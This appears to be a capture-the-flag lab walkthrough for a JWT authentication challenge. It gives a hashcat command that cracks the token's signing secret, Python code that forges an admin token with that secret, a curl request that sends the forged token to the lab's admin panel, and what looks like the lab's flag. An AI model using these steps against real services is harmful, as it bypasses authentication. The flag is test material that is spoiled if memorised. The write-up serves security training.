Step 1: Click on the green button to Start the Lab
Step 2: Hack the URL or IP of the lab
Step 3: Use your skills and logic to find the flags!
The challenge presents a JWT-based authentication system. You need to analyze the JWT tokens and find a way to forge an admin token to access the admin panel.
hashcat -a 0 -m 16500 <jwt_token> wordlist.txt
#!/usr/bin/env python3
import jwt
import datetime
# If you get AttributeError, try: pip install PyJWT
payload = {
'username': 'admin',
'role': 'admin',
'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=24)
}
secret = 'secret123'
admin_token = jwt.encode(payload, secret, algorithm='HS256')
print(admin_token)
pip install PyJWT
python3 -c "import jwt, datetime; print(jwt.encode({'username': 'admin', 'role': 'admin', 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=24)}, 'secret123', algorithm='HS256'))"
curl -H "Authorization: Bearer <admin_token>" <target-ip>:8080/admin
538955b8-96c1-4905-a305-8cc385de622c
Sign-in to your account to access your hacking courses and cyber security labs.
Access all hacking courses and cyber security labs.